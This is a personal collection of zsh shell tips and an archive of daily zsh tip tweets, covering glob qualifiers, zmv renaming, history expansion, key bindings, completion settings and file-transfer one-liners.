alias -s jpg='/c/program\ files/IrfanView/i_view32.exe'
now just type the image name to launch irfanview
alias -s php='c:/wamp/php/php.exe'  # now just type test.php to execute it *N*
# named directories (quick jump to a deep sub-directory)
hash -d zsh="/usr/src/zsh"          # create shortcuts to deep directories  *N*
cd ~zsh

#magic equals
vim =some_file                            # edits file anywhere in $PATH
ls =some_file                             # lists file anywhere in $PATH
#magic ** (recursion)
vim **/some_file                          # edits file under under current dir
rm /c/intranet/**/*.stackdump             # specify recursion at a sub-directory *N*
# modifying more than one file (multios)
# writes ls results to file1 & file2 appends to file3
ls > file1 > file2 >> file3 | wc          # multi-io
myscript >&1 >output.txt                  # log a script output
#Redirection to file as well as send on to pipe:
make install > /tmp/logfile | grep -i error

# permissions & ownership *N*
ls *(.f644)                            # files with permissions 644
ls *(.g:root:)                            # files belonging to group root
ls *(.u:apache:)                            # files belonging to user apache
ls -l *(.rwg:nobody:u:root:)              # user has read/write permissions

function g{0..9} { gmark $0 $* }          # declaring multiple functions

# zmv "programmable rename"
autoload -U zmv
# Replace spaces in filenames with a underline
zmv '* *' '$f:gs/ /_'
zmv '(* *)' '${1// /}'
zmv -Q "(**/)(* *)(D)" "\$1\${2// /_}"
# Change the suffix from *.sh to *.pl
zmv -W '*.sh' '*.pl'
# lowercase/uppercase all files/directories (-i) interactive
$ zmv -i '(*)' '${(L)1}' # lowercase
$ zmv -i '(*)' '${(U)1}' # uppercase
$ zmv '([a-z])(*).txt' '${(C)1}$2.txt' ; rename fred.txt to Fred.txt

# initialize zsh/config *N*
autoload -U compinit
compinit
# case insensitive completion
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' \
     'r:|[._-]=* r:|=*' 'l:|=* r:|=*'

#Wonderful zftp (write ftp scripts as though shell)

# init (could be in .zshenv etc)
autoload -U zfinit
zfinit
zfparams www.someweb.co.uk myuserid mypassword
zfopen
zfcd tips
zfls -l zshtips.html
zfput zshtips.html
zfls -l zshtips.html

# replace every occurence of a file (zsh and bash)
for f in */include/dbcommon.php; do;cp dbcommon.php $f; done
# alternative for loop
# replace every instance of file with new version
for f (**/x) cp newx $f
for f (**/x) {cp newx $f }
for f in **/x; do;cp newx $f; done
# create a clone of a file, modifying it on the fly *N*
for i in {3,4}; sed s/flag=2/flag=$i/ fred.txt > fred$i.txt
for i in {1..9}; sed s/flag=2/flag=$i/ fred.txt > fred$i.txt
# can be simplified to *N*
for f (*.txt) { echo $f }
for f (*.txt) echo $f   # if no ;
for f (*(.)) mv $f fixed_$f
for f (*.csv.csv) {mv $f ${f:r}} # remove one level of extension *N*
for x ( 1 2 {7..4} a b c {p..n} *.php) {echo $x} *N*
# loop a command *N*
while true; do echo "infinite loop"; sleep 5; done
while (true){echo .;sleep 1}
repeat 3 time sleep 3   # single command
repeat 5 ;do date; sleep 5; done # multi
while true ;do date; sleep 5; done # forever
# loop a command *N*
for count in {1..10}; do
r\m x*([1,10]); # delete 10 files at a time
echo "loop $count"
done
for c ({1..50}) {php ./test.php; sleep 5;} *N*

# using vared editor
vared -p "choose 1-3 : " -c ans
case $ans in
 1|a) sdba $key;;
 2|f) sdbf $key;;
 3|i) sdbi $key;;
 *) echo "wrong answer $ans\n" ;;
esac

# the powerful select
PROMPT3="Choose File : "
select f in $(ls **/*.tex |egrep -i "${param}[^/]*.tex")
do
 if [[ "$REPLY" = q ]]
 then
    break
 elif [[ -n "$f" ]]; then
    gvim $f
 fi
done

# multiple script commands on same line
if [ $# -gt 0 ];then string=$*;else;string=$(getclip);fi
if grep -iq 'matching' *.php ;then echo "Found" ;else echo "Not Found"; fi   *N*

# Command on multilines with a backslash
ls \
> x*

# Command on multilines with a quote
sed '
 s/mvoe/move/g
 s/thier/their/g' myfile

# editing a variable (You must try this)
vared PATH

bindkey -v # vi mode line editting
bindkey -M viins '^O' copy-prev-shell-word
bindkey '^L' push-line # push current command into a buffer, allows you to do another command then returns to previous command
# use cat > /dev/null and them press key to get keycode
# configure F7 to output a command
bindkey -s '^v<F7>' "ls -l\n" # configure F7 to output 'ls -l'
bindkey -s "^[[18~" "ls -l\n" # You must actually type Control-v F7 at CLI this is what it looks like on my system :
# put a command string onto f4
bindkey -s "^[OS"  "\^d\^c\n"
# bind control-n to scroll most recent file [*N]
zstyle ':completion:most-recent-file:*' match-original both
zstyle ':completion:most-recent-file:*' file-sort modification
zstyle ':completion:most-recent-file:*' file-patterns '*(.)'
zstyle ':completion:most-recent-file:*' hidden all
zstyle ':completion:most-recent-file:*' completer _files
zle -C most-recent-file menu-complete _generic
bindkey "^N"      most-recent-file

zstyle ':completion:expand-args-of::::' completer expand-args-of
bindkey '^x^a' expand-args-of

# Prompt at end of command line
RPROMPT="[%t]" (display the time)
# colo(u)red prompt
fg_light_red=$'%{\e[1;31m%}'
PS3="$fg_light_red Select file : "
# print fred in blue color
print '\e[1;34m fred'
# color module
autoload colors ; colors
print "$bg[cyan]$fg[blue]Welcome to man zsh-lovers" >> $TTY
PROMPT="%{$bg[cyan]%}%{$fg[red]%}%n%{$reset_color%}%{$bg[cyan]%}@%{$fg[red]%}%m %{$fg[yellow]%}%~ %{$reset_color%}%{$bg[cyan]%}%% "
echo "$bg[blue]$fg[yellow]highlight a message"

curl -u userid:password -d status=" updating twitter with from curl " http://twitter.com/statuses/update.xml

# my .zshenv *N*
autoload -U compinit
compinit
autoload      edit-command-line
zle -N        edit-command-line
bindkey '\ee' edit-command-line
VISUAL='/bin/vim'
EDITOR='/bin/vim'

#textify a phrase to create an image name
s="Fred Goat Dog"
print ${(L)s:gs/ /-/}.jpg
or
print ${(L)s// /-}.jpg

and to de-textify an image

foo=fred-goat-dog.jpg
echo ${(C)foo:gs/-/ /:r}
or
print ${${(Cs:-:):-fred-goat-dog.jpg}%.*}

#new
# read a file into a variable
var="$(<file)"

# Zsh Syntax Aide-Memoire (concentrated)   *N*
cd -<TAB>         # list recent dirs
cp 1.php ~-<TAB>  # list recent dirs
vi *(om[1])<TAB>  # edit newest file
ls *(.mh3)  # modified 3 hours ago
ls *(.mh-3) # less than 3 hours
ls *(.mh+3) # more than 3 hours
gvim -p *(m0)     # all files modified today
mv *.*(^m-1) old/ # move all but todays files to sub-directory
vi -p *(.om[1,3]) # open 3 newest files in tabs (gvim)
ls *(^m0)         # files NOT modified today
ls -l *(m4)       # list files modified exactly 4 days ago
ls *.(jpg|gif|png)(.) # do not break if one or other image type absent
ls ~1/*(.om[1])   # list newest file from previous directory needs setopt autopushcd
ls -lt  **/*~pdf/*(.m0om[1,10]) # up to 10 files modified in last 24 hrs  *N*
rm **/.*.sw?~libs/*(.D) # delete vim swop files *N*
for f (*.php) { diff $f  ${PWD/html/staging}/$f} # diff all files in parallel directories
mv !?main<TAB> # recall previous command containing the string main
vi !?main?$<tab> # recall just last parameter of command containing the string main *C*
scp -rp *(om[1]) [email protected]:$PWD *N*
scp -rp *(om[1]) [email protected]:${PWD/test/live}  *N* modify pwd remote path
rsync -avz --update --existing *(.m0) backup/      # will only copy file if newer than target, no copy occurs if target absent
# upload todays files if newer and existing
rsync -vz --stats  --existing --update *(.m0)  [email protected]:$PWD *N*
ls (x*~x[3-5])    # list files x* except x3 to x5
ls **/*~*/.git/*  # ignore all git subdirectories *~* matches a path
ls (^(backup*|cache*|list*|tmp)/)##*(.) # ignore 4 directories
!!:gs/fred/joe/       # edit previous command replace all fred by joe
cp NF ${PWD/html/release}    # *N*
while (true){echo -n .;sleep 1} # *N* *C*
#super commands
zargs **/*.(js|php|css)~(djr|libs|dompdf)/*~*/junk/* -- grep -i
alias phpall='for f (*.php~test.php(om)) {php -l $f} | more'
alias phpsub=' for f (./(async|inc)/*.php~test.php(om) *.php(om)) {php -l $f} | more' # *N*
alias diffall='for f (*.php~test.php(.om)){diff -q $f ${PWD/html/staging}/$f} 2>&1 | grep differ'
alias -g STAG=' ${PWD/html/staging}'
# End Zsh Syntax Aide-Memoire (concentrated)

mv Licence\ to\ Print\ Money.pdf !#^:gs/\\ //

A=(1 2 5 6 7 9) # pre-populate an array    # *N*
for ((i=1;$#A[i];i++)) echo $A[$i]    # *N*
# debug echo shell commands and provide trace info *N*
# you do need XTRACE if you want to echo whats happening in your script
setopt XTRACE VERBOSE
unsetopt XTRACE VERBOSE

# misc *N*
# switch two previously typed words with alt-t *N*
bindkey "^[t" transpose-words
setopt interactivecomments  # allows end of command line comments
take(){[ $# -eq 1 ]  && mkdir "$1" && cd "$1"} # create a directory and move to it in one go
zmodload -F zsh/stat b:zstat
zstat -g canal-bridge.mov # full files details *N*
# remember current directory : double quotes vital
alias markcd="cd $(pwd)"      *N*
# where is an alias set?
zsh -lxic : 2> >(grep "> alias 'web")

# run a remote zsh script via ssh *N*
ssh 192.168.1.218 -l root "zsh -c 'for i (/usr/*(/)) {ls \$i }'"
# compare local & remote file size *N*
FILE=$(echo *(.om[1])) && ls -l $FILE && ssh 192.168.1.1 -l root "zsh -c 'ls -l $PWD/$FILE'"
# remote login in with zsh
ssh -t [email protected] 'sh -c "cd /tmp && exec zsh -l"'
# launch zsh not as sub-shell *N*
exec zsh
# which shell active *N*
ps -p $$ | grep $$ | awk '{print $NF}'
# zsh menu
echo "enter 0-2,a"
read ans ; # read in a parameter
case "$ans" in
 0|${prog}0) cd "$(cat /c/aam/${prog}0)" ;;
 1|${prog}1) cd "$(cat /c/aam/${prog}1)" ;;
 2|${prog}9) cd "$(cat /c/aam/${prog}9)" ;;
 a|${prog}l) cd "$(cat /c/aam/${prog}a)" ;;
 **) echo "wrong number $ans\n" ;;
esac

# zsh hook functions #N#
chpwd,periodic,precmd,preexec , zshexit, zshaddhistory
preexec(){ echo using $@[1]}

# useful aliases
# swap / flip between 2 deep parallel directories *N*
alias flip=' cd html live > /dev/null &>1 || cd live html > /dev/null &>1'
# syntax-check all php files in date order excluding certain
alias phpall='for f (*.php~test.php(om)) {php -l $f}'
# diff all files in parallel directories in date oder (exclude certain)
alias diffall='for f (*.php~test.php(.om)) { diff -q $f  ${PWD/html/staging}/$f}'

# locating/identifying stuff *N*
which zsh
whence -vsa ${(k)commands[(I)zsh*]}  # search for zsh*
locate zsh
cd $(locate -l1 -r "/zoo.txt$")(:h) # cd to directory of first occurence of a file zoo.txt (N)
cd ${$(locate zoo.txt)[1]:h}   *N*
cd **/resource.php(:h) *N*

str=aa,bb,cc;print ${(j:,:)${(qq)${(s:,:)str}}} # quotify a string *N*

# completion
# define tab-completable parameters p1,p2,p3 for your widget
compdef "_values 'widget tool' p1 p2 p3" widget
widget
p1 p2 p3

# bind history to up down keys
autoload -U up-line-or-beginning-search
autoload -U down-line-or-beginning-search
zle -N up-line-or-beginning-search
zle -N down-line-or-beginning-search
bindkey "^[[A" up-line-or-beginning-search
bindkey "^[[B" down-line-or-beginning-search

# insecure directories warning on cygwin
# #run compaudit
# compaudit
# #It told me that my latest zsh install was insecure (directories were writable)
# # The following solved the problem
# chmod -R 755 /usr/share/zsh/
# chown -R myusername /usr/share/zsh (on Vista (as admin)

# start zsh from a windows short cut
C:\cygwin\bin\mintty.exe -i /Cygwin-Terminal.ico /bin/zsh --login

Sources newsgroup gmane.comp.shells.zsh.user newsserver news.gmane.org

:!zshtipsftp
# Upload this page 

##########################################

# Zsh Daily Tips on Twitter Archive
#---------------------------------#

Zsh Daily Tips on Twitter Archive

# Clean up file names and remove special characters
# $1 holds path $2 filename
zmv -n '(**/)(*)' '$1${2//[^A-Za-z0-9._]/_}

zmv '(*)' '${(L)1}'  # lowercase file names
zmv 'pic(*).jpg' 'pic${(l:4::0:)1}.jpg' #  pic1.jpg,pic11.jpg to pic0001.jpg,pic0011.jpg (pad 0)

# zmv regexp memory renaming
autoload -U zmv
zmv '(*).html' '$1.php'
zmv '(*)_(*)' '$1-$2'

# awkward file names trick
touch ./-Mike.txt
rm -Mike.txt
rm: unknown option -- M
Try 'rm ./-Mike.txt' to remove the file �Mike.txt�

# estring take control of what is listed
print -rl **/*.A(.e_'REPLY=$REPLY:r; [[ -f $REPLY.B ]] ; echo $REPLY.{A,B} '_) > /dev/null

# splitting PATH variable
for e in ${=PATH//:/ };echo $e
for e in ${(s(:))PATH};echo $e
for e in $path[@];echo $e
for e ($path[@]){echo $e}

# files not matching 'pattern'
print -rl -- *(.^e{'grep -q pattern $REPLY'})
or
: *(.e{'grep -q pattern $REPLY || print -r -- $REPLY'})

# count with estring
ls **/*(e:'[[ -e $REPLY/index.php && -e $REPLY/index.html ]]':)
ls **/*(e:'l=($REPLY/index.*(N)); (( $#l >= 2 )) ':)

# estring
# find c files with more than 10 lines
ls **/*.c(-.e{'((`wc -l < $REPLY` > 10))'})

# estring qualifer
print **/*.c(e_'[[ -e $REPLY ]]'_)  # neutral just lists
# c files w/o  .o
print **/*.c(e_'[[ ! -e $REPLY:r.o ]]'_)

alias -g NL1=' ~1/*~vssver.scc(om[1])' # newest file in previous directory
alias -g NL2=' ~1/*~vssver.scc(om[2])'
cp NL2 .

# detect if variable exists null value or not
echo ${+PS1} ${+xyq}
1 0
xyq=''
echo ${+PS1} ${+xyq}
1 1
man zshexpn

# $match
sstring="before inside after"
[[ "$sstring" = (#b)([^i]#inside)(*) ]]
echo $match[1]
echo $match[2]

# match word beginning
[[ "foo bar" = *([^[:WORD:]]|(#s))bar* ]] && print yes
[[ "obar foo" = *([^[:WORD:]]|(#s))bar* ]] || print no

# zed simple editor
autoload zed
zed myfile.txt
zed -f myfunc
https://t.co/qUlSHL6Uzl

# previous directories
setopt autopushd
autoload -U compinit && compinit
echo  ~- ~1 ~2 ~-1 ~-0 ~0
cd -<tab>
cp ~-<tab><tab> ~2<tab>

# precise dates/times
autoload -U age
ls -tl *.*(e#age 2015/06/01 now#)
ls -tl *(.e#age 2015/06/01 2015/06/30#)

# latest zsh 5.1
http://t.co/fL349fSlty

# navigate aliases, functions, history etc
https://t.co/wpKFMx1Ap8

# oh-my-zsh has 'take' (create subdir and cd to it, here is my attempt
take(){ [ "$#" -eq 1 ] && mkdir "$1" && chdir "$1"}

# edit command in vi: Esc-v or ALT-V bring up $EDITOR
EDITOR='/bin/vi'
autoload  edit-command-line
bindkey -M vicmd v edit-command-line

print *(e*'reply=( this ${REPLY}* )'*)
What problem is this solving?
find out at http://t.co/L7YW0oLDsl

# clean up file name : generic substitute
setopt extendedglob
file='a b__c_  d.gif'
print ${file//[_ ]##/-}
a-b-c-d.gif # result

# grep2awk
# https://t.co/MyW1x9sxli
# grep2awk is a zle function turns the first grep in the current command line into its awk equivalent,cursor unchanged

# vi cli edit
bindkey -v 
# eliminate double click of ESC problem where first key stroke ignored
# bind esc to nothing
bindkey -as '\e' ''

# remote login in with zsh
ssh  -t [email protected] 'sh -c "cd /tmp && exec zsh -l"'

# you need 5.0.8
ps gvim<tab>
# lists just the jobs gvim

setopt autopushd
cd -<tab>
alias 1='cd -1'
alias 2='cd -2'
alias 3='cd -3'
alias 4='cd -4'

touch {a,a1}.php
ls a1#.php
a.php  a1.php
ls a1##.php
a1.php
X# Zero or more  X
X## One or more  X

ls *.php<Ctrl-C>
echo $ZLE_LINE_ABORTED
ls *.php

# list files that are different on remote server
rsync -rvnc --exclude '*.scc' [email protected]:${PWD/staging/release}/ .
#  n dryruN

useful global aliases
alias -g ...='../..'
alias -g ....='../../..'
alias -g .....='../../../..'
cp 1.php ....
cp ...<TAB>

REPORTTIME=5
will automatically report time for any command which lasts longer than 5 secs
info --index-search="reporttime" zsh

# chpwd is run every time you cd (chdir) use it to change console title etc
where chpwd  # to see what if anything is in yours

#  hooks (b4 every command precmd if it exists)
> precmd(){echo 'anything you want'}
> date
Thu, Jun 04, 2015  8:13:38 PM
anything you want

# movable
scp -rp *(om[1]) [email protected]:$PWD
# movable & modify path
scp -rp *(om[1]) [email protected]:${PWD/test/live}

# upload todays files
scp -p *.php(m0) [email protected]:/var/www/html/report/

# get latest file  including possible dot files (D)
ls *~vssver.scc(.om[1]D)

# my first stab at an aide-memoire of the bits of zsh I use frequently
http://t.co/wZOFoBeq9t

# exclude directory at any depth e.g. junk
 ls **/fred.jpg~(|*/)junk(|/*)
# e.g. exclude /*junk*/
ls **/fred.jpg~(|*/)*junk*(|/*)

# you can chain file globs
ls -1 ./(async|inc)/*.php~test.php(om) *.php(om)
for f (./(async|inc)/*.php~test.php(om) *.php(om)) {php -l $f}

# use variable function name to share script but change behaviour
fun{a,b}(){echo $0}  # create funa funb

fun{0..9}(){echo $0} # fun0-fun9

# zsh show ambiguity, useful when completing on files with very similar names

http://t.co/VFCMeAHlN7

info --index-search="ambiguity" zsh

# retrieving a particular parameter from history
ls xx vv hh bucket fred
...
...
vi !?buck?^  # first
echo !?fred?2  # 2nd

# select 3rd file
ls  xyz*
vi !$([3])

info --index-search="zcalc" zsh
autoload zcalc
zcalc '23.0 / 3'
zcalc
PI*2

Collection of ZSH frameworks, plugins, tutorials & themes
https://t.co/0wgaqnaMoK

file + full path
echo ost-config.php(:a)
/var/www/osticket/upload/include/ost-config.php
# did not explain this tip properly (:a) (all)

exclude extensions and exclude directories
ls -1t  report/**/^(vssver.scc|*.js|*.png|*.bak)~*/(async|images)/*(.om[1,20])

accessing output of locate (assumes no spaces in file names)
a=($(locate my.cnf))
cd ${a[1]}(:h)
vi ${a[1]}

see your directory tree
ls -d /var/www/html/**/*(/)

pathtovim==gvim
echo $pathtovim
/cygdrive/c/VIM/VIM74/gvim

# DIY zsh write your own functions
# ignore .scc .bak .obj
not(){reply=("$(echo $REPLY |grep -iva '.scc\|.bak\|.obj')")}
ls fred.*(+not)

# global sed substitute
zargs **/*.(php|inc) -- sed -i 's#ereg_replace("\([^"]*\)"#preg_replace("/\1/"#g'
# preg_replace requires //

# of course you could also do to get the first match
cd **/note027.txt([1]:h)
# zsh is a bit like lego just bolt another bit on

# cd to directory containing report.php
cd **/report.php(:h)
# fails if more than 1 report.php

# access time picks up files that have been "used" ie cat,edit etc
ls -l *(.aM-1)
 the date shown will be confusing so use
 ls -lu *(.aM-1)

ls -l *(mh-2)  # modified in past 2 hrs
ls -l *(ch-2)   # changed in past 2 hrs, also picks up files that have been moved/renamed

# filter by permissions read-write-execute 4-2-1
ls y*(.f777)
ls *.jpg(f644)

# line continuation
[ -e file1 ] && [ -e file2 ] && echo 'both'
# or
[ -e file1 ] &&
[ -e file2 ] &&
echo 'both exist'
# or
ls ;\
date

zmodload -i zsh/mathfunc
echo $(( pi = 4.0 * atan(1.0) ))
print $(( rand48(seed) ))
echo $(( sin(1/4.0)**2 + cos(1/4.0)**2 - 1 ))

# filter by ext,exclude dirs,filter by size,date,owner,group,perms
ls -l **/*.(js|php|inc)~(junk|libs)/*(.Lk-2m-14u:nobody:g:apache:xXom[1,3])

# from http://t.co/lgepDuH7mr
ls -l **/*(.Lm-2mh-1om[1,3])
Lm-2 # <2mbs
mh-1 # less 1 hr
om[1,3] most recent 3

# list files newer than 22/10/14 from specific directories
autoload -U age
ls [01]<->201[45]/Daily\ report*.csv(e#age 2014/10/22 now#)

# ls allfiles except dotfiles filesonly
# ls positive glob ~ negative glob (modifiers) e.g. list all files without an extension ( no dot)
ls *~*.*(.)

# man zshall
# better search the zsh man pages
# e.g.  for bindkey
info --index-search=bindkey zsh
zinfo(){info --index-search="$*" zsh}

# backup a file with a prefix
cp longfilename.php backup_!#^
cp {,backup_}longfilename.php   # pretty cute

# backup a file (with a suffix)
cp longfilename.php !#^:r.bak
cp longfilename.{php,bak}   # alternative

cp longfilename.php !#^:r.bak
or
cp longfilename.php !#$:r.bak
or
cp longfilename.php !#$:s/php/bak/
# use <tab> to complete, more tomorrow

# Current line history
!#:0    command
!#^     first
!#1    first
!#1-4  first 4
!#$     last
!#*     all
!#-    all but last

# The D operator allows you to include dot files in a glob. D is for DOT FILES
ls *(.D)  # include dotfiles
touch .xxx xxx
ls *xxx*(.)
xxx
ls *xxx*(.D)
.xxx xxx

# precise date filtering
autoload -U age
ls -lt *(.e#age 2014/10/15 2015/01/15#)

# archiving old files
mv  *(.mM+12) old/     # files older 12 mths
mv *(/mM+12) 2013archive/ # old directories

m[Mwhms][-+]n
*(.mh3)  # 3 hrs ago
*(.mh-3) # < 3 hrs
*(.mh+3) # > 3 hrs
*(.^m0) # not today
*(.mw0)  # this week
*(.mM1)  # last month

# :a modifier display full path
ls *(.:a)

:e :h :t :r  modifiers
 $f:e is $f file extension
   :h --> head (dirname)
   :t --> tail (basename)
   :r --> rest (extension removed)

# newest file from previous directory
setopt autopushcd
vi ~1/*(.om[1])

# ZSH-Lovers  List files in reverse order sorted by name
print -rl -- *(On)
 # or
print -rl -- *(^on)

# Remove zero length and .bak files in a directory
rm -i *(.L0) *.bak(.)

# All files in /var/ that are not owned by root
ls -ld /var/*(^u:root)

# I will now start randomly tweeting gems from http://t.co/imT2cMf0wx

echo $[${RANDOM}%1000]

# mastering $REPLY
# list .c files with no .o
touch {f,j}.{c,o} k.c l.c
print *.c(e_'[[ ! -e $REPLY:r.o ]]'_)
# _ delimits :r strip .c

# DIYcompletion widgets
# gvim needs DOS path so does not work
gvim ~/.zshrc 
gvim ~/.zshrc(+cyg)
cyg(){reply=("$(cygpath -m $REPLY)")

# online zsh help
http://t.co/1I706qiJhH
http://t.co/e1zvJKuCUO
http://t.co/736NmOcFe0

# what's in his dot files

http://t.co/5qwgkTO1RI

# remember you have completion on man
man zsh<tab>
zsh zshall zshbuiltins  zshcompctl   zshcompwid   zshexpn   zshmodules etc

# Productivity Tip 14
modifying previous command
r oldstr=newstr
^fred^joe
^str1^str2^:G
^str1^str2^:u:p
!!:gs/fred/joe/

# Productivity Tip 13
What's been updated?
alias lsnew='ls -lt  **/*(.om[1,10])'
alias lsnew2='ls -lt  **/*(php,inc,js,css)(.om[1,10])'

# Productivity Tip 12
Search a web root with exclusions
alias zg='zargs **/*.(js|php|css|inc)~(libs|test|temp|wiki|dompdf)/* -- grep -i '

# Productivity Tip 11
# diff all files in parallel directory
alias diffall='for f (*.php~test.php(.om)) { diff -q $f  ${PWD/html/staging}/$f}'

# Productivity Tip 10 - syntax check all php files in date order
alias phpall='for f (*.php~test.php(om)) {php -l $f} | more'

# Productivity Tip 9
REL dynamically readjusts to parallel dir
alias -g REL=' ${PWD/html/release}'
diff index.php REL
cd inc
diff main.inc REL

# Productivity Tip 8 - powerful history
# Recall just last parameter from history which contains string sql
ls !?sql?$<tab>

# Productivity Tip 7 - jump to any recently visited directory with cd -<tab>
autoload -U compinit && compinit
setopt autopushd
cd  -<tab>

# Productivity Tip 6 up-line-or-beginning-search or down-line-or-beginning-search
# type php then up/down arrow through history of previous php

# Productivity Tip5 - :globals to create meta-lang
# newest file
alias -g NF='*(.om[1])'  
# newest directory
alias -g ND='*(/om[1])'  
cp NF ND

# ZSH Productivity Tip 4 - the modifiers
# copy todays mp3 only
cp *.mp3(m0) g:/   

# edit newest file
vi *(om[1])            

# zsh Productivity Tip 3
# **/* with +ve & -ve filtering .use an alias
grep -i 'fred' ./(junk|colin)/**/*.(php|inc|js)~(**/wiki|**/dompdf)/*

# ZSH Productivity Tip 2
# By binding _expand_alias to the Tab key I can tab-expand my aliases and modify them as necessary thus fewer aliases

# zsh productivity tip 1 - named roots
hash -d www='/var/www/html'
hash -d del='/tmp/del'
cd ~www/www.site.com
mv file ~del

# elegance of the for loop
for f (*) mv $f $f.sql
# (.) files only
for f (*(.)) mv $f $f.sql

# basic zsh filter
ls -1 file*
# select 3rd file in list
vi file*([3])

# contain keyword
gvim -p $(grep -il 'dunk\|gunk' **/*(.))
gvim -p $(grep -Eil '(dunk|gunk)' **/*(.))
gvim -p $(grep -REil '(dunk|gunk)' .)

# zmodload -F zsh/stat b:zstat
# detailed stats on a file
zstat -g canal-bridge.MOV

# referring to previous tweet
# complete either end
ls joe<tab>
# completes xxxjoeyyy.txt
# equivalent to
ls *joe*<tab>

# autoload -U compinit && compinit -i
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' \
    'r:|[._-]=* r:|=*' 'l:|=* r:|=*'

# try expanding grep !!
grep -<TAB>
# there are 164 different options

# expand parameters (help)
autoload -U compinit && compinit -i
chmod +<TAB>
X  -- execute
g  -- group
o  -- other'
r  -- read
.. etc

# servi<TAB>
service htt<TAB>
service httpd res<TAB>
service httpd restart

# expand alias
autoload compinit && compinit
alias e='echo'
zstyle ':completion:*' completer _expand_alias _expand _complete _ignored
e<tab>

# man for all the zsh builtins from alias to ztcp

http://t.co/gNf9dfXeGM

# ls -l *.*(mh-3)   # less than 3 hours
ls -l *(.mh-3)    # . means files only

# test if a parameter is numeric
if [[ $1 == <-> ]] ; then
echo numeric
else
echo non-numeric
fi

# copy-earlier-word bound to say control-o
cycles through  each parameter on command line very useful

# autoload -Uz copy-earlier-word
zle -N copy-earlier-word
bindkey -M viins '^O' copy-earlier-word
cp fred.php old_^O^O #  to old_fred.php

# one spelling variation
touch bungo bango tango
ls (#a1)bungo
bango  bungo
# two spelling variations
ls (#a2)bungo
bango  bungo  tango

# glob by owner, permissions, age, file size
# filenames no digits ,uppercase
ls -l **/([^A-Z[:digit:]])##(.u:Guest:f:gu+wx,o+wx:Lk-30mM-1)

# lets push the boat out a bit further
echo **/*(.Lk-2m-9om[1,9]:t:r:uu:Guest:)

# . files only
Lm-2  Less than 2MB
mh-1 Less than 1 hour old
om sort by newest
[1,3] first 3 only
from http://t.co/lgepDuq4kr

# explanation tomorrow
ls -l zsh_demo/**/*(.Lm-2mh-1om[1,3])

# The fignore variable lists suffixes of files to ignore during completion
#  http://t.co/TgsrhUKmIS
fignore=( .o \~ .bak .junk .scc)

# lets be real picky
autoload -U age
ls -l *(.e#age 2013/10/04:10:15 2013/11/04:10:45#)

# list by age/date
ls -l *.*(mM4)
autoload -U age
ls -tl *.*(e#age 2014/06/01 now#)
ls -tl *.*(e#age 2014/06/01 2014/06/30#)

# zsh tips archive
vim http://t.co/vrjqXYSxES

# expand aliases with tab
autoload -U compinit && compinit
zstyle ':completion:*' completer _expand_alias
bindkey '^t' _expand_alias

# part 3
bindkey "^[[A" up-line-or-beginning-search
bindkey "^[[B" down-line-or-beginning-search
ls <up> only lists previous ls history

# part 2
zle -N up-line-or-beginning-search
zle -N down-line-or-beginning-search

# part 1 Better history searching with arrow keys
autoload -U up-line-or-beginning-search
autoload -U down-line-or-beginning-search

# list your functions
# o=order k=keys
print -l ${(ok)functions}

# % minimum match %% maximum match
v=fredjoejoe
echo ${v%joe*}
echo ${v%%joe*}

# from today's zsh user group : alter last dot to _
 JUNK=R.E.M.
echo ${JUNK/%./_}
echo ${JUNK/.(#e)/_}
# % & (# e) are end anchors

# cd without typing cd
setopt auto_cd

# parameters
p()
{
echo "last ${@[-1]}"
echo "2nd last ${@[-2]}"
}
p a b c d

# :r remove extension :wr multiple
var=fred.txt
echo ${var:r}
var='fred.txt joe.csv sue.xls'
echo ${var:wr}

# setopt correct
alias grepp='nocorrect grepp'
unsetopt correct
setopt correctall # spellchecks everything
unsetopt correctall

X# Zero or more  X
X## One or more  X
touch {4,44,444,5,45,55,54}.txt .txt
ls 4#.txt
ls 4##.txt

^pat Anything that doesn’t match pat
pat1^pat2 Match pat1 then anything other than pat2
pat1~pat2 Anything matching pat1 but not pat2

# print components of date command
print ${$( date )[2,4]}

# diff ^ ~
touch {fred,joe}{fred,joe}
ls fred*~*fred*  # never matches
ls fred*~*joe*  # finds fredfred
ls fred^fred # finds fredjoe

#   # followed by c repeat characters
 touch DATA_6789{00..33}.csv DATA_678988888.csv
ls DATA_[0-9](#c6).csv
ls DATA_[0-9](#c6,).csv

# repeat command
repeat 3 echo hi

# eliminate the annoying no match warning for FNG
unsetopt nomatch

# you can chain ~ filters
touch {a,b,c}{a,b,c} {0,1,2}{1,2,x}
ls *~*c~*b
ls *~b*~c*~<->    # <-> numbers
 ls *~*c~2#       # filter 22 222

# ^ not in fng
ls x^[3-5]
ls fred^erick*    # list all files fred* except frederick
ls abc^8* ls -lt **/^(vssver.scc|*.ini)(.om[1,10])

# zsh maths from http://t.co/imT2cLGmmt
zmodload zsh/mathfunc
echo $(( pi = 4.0 * atan(1.0) ))

# ~ with number ranges
touch abc{0..100}.txt
ls abc(<20-100>~<57-67>).txt

#  how ~ filters
grep -i 'goaty' **/*.{js,php,css} | grep -v 'libs/\|test/\|tmp/'
grep -i 'goaty' **/*.{js,php,css}~*(libs|test|tmp)/*

# printable zsh reference card
http://t.co/nC7rfzD4Sa

autoload -U url-quote-magic && zle -N self-insert url-quote-magic

#  This will auto-quote/escape URLs when typed or pasted

# games
autoload -U tetris
zle -N tetris
bindkey '^T' tetris

# zsh tips tweets archive
http://t.co/vrjqXYSxES

http://t.co/l4EUN1Bs5s

# allow comments on command line
setopt interactivecomments
date # this comment no longer breaks command

# good stuff
http://t.co/lgepDuq4kr

touch -d "4 days ago" x* a* .x .a
ls *(.m4) # 4 days ago
ls *(.m4om[2]) # 2nd file 4 days ago
ls {x,a}*(.m4om[2]D)  # include dot files

# remember you can dry run a command with echo
# mv all files changed in last hour
echo mv -- *(.ch-1) junk/

touch x y .x .y
ll *(m0)    # all files today but gets sub-directories
ll *(.m0)   # only files today
ll *(.m0D) # include dot files

# separate permissions for files and directories
chmod 755 **/*(/)
chmod 644 **/*(.)

# http://t.co/YCW5X4V0k4
unit specifiers ‘M� �� ‘h� ‘m�or ��(e.g. ‘mh5� months weeks, hours, mins or secs ‘d�for days is default.

ls *.*(mh3)  # modified 3 hours ago
ls *.*(mh-3) # less than 3 hours
ls *.*(mh+3) # more tham 3 hours
ls *.*(^mh3) # not 3 hours

# diffing al files in parallel directories /var/www/html/ var/www/test/
alias diffphp='for f (*.php) { diff $f  ${PWD/html/test}/$f}'

# alternative for loop
# replace every instance of file with new version
for f (**/x) {cp newx $f }
